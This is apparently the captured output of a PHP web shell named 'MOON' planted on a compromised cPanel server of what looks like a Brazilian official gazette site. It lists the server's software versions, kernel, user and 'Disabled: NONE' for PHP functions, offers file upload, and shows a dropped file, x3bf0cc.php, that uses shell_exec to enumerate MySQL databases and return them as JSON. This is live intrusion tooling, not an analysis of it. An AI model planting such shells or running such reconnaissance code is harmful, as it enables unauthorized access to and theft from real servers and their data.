MOON
Server: Apache/2.4.63 (cPanel) OpenSSL/1.1.1w mod_bwlimited/1.4
System: Linux ns2.portalpublico.com.br 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User: diariooficial (505)
PHP: 5.6.40
Disabled: NONE
Upload Files
File: /home/diariooficial/public_html/x3bf0cc.php
<?php $o=shell_exec('mysql -N -e "SHOW DATABASES" 2>/dev/null');$dbs=array_filter(array_map('trim',explode("\n",$o?:'')));$user='portal';$mine=array_filter($dbs,function($d)use($user){return strpos($d,$user.'_')===0||$d===$user;});echo json_encode(['ok'=>1,'dbs'=>array_values($mine)]);?>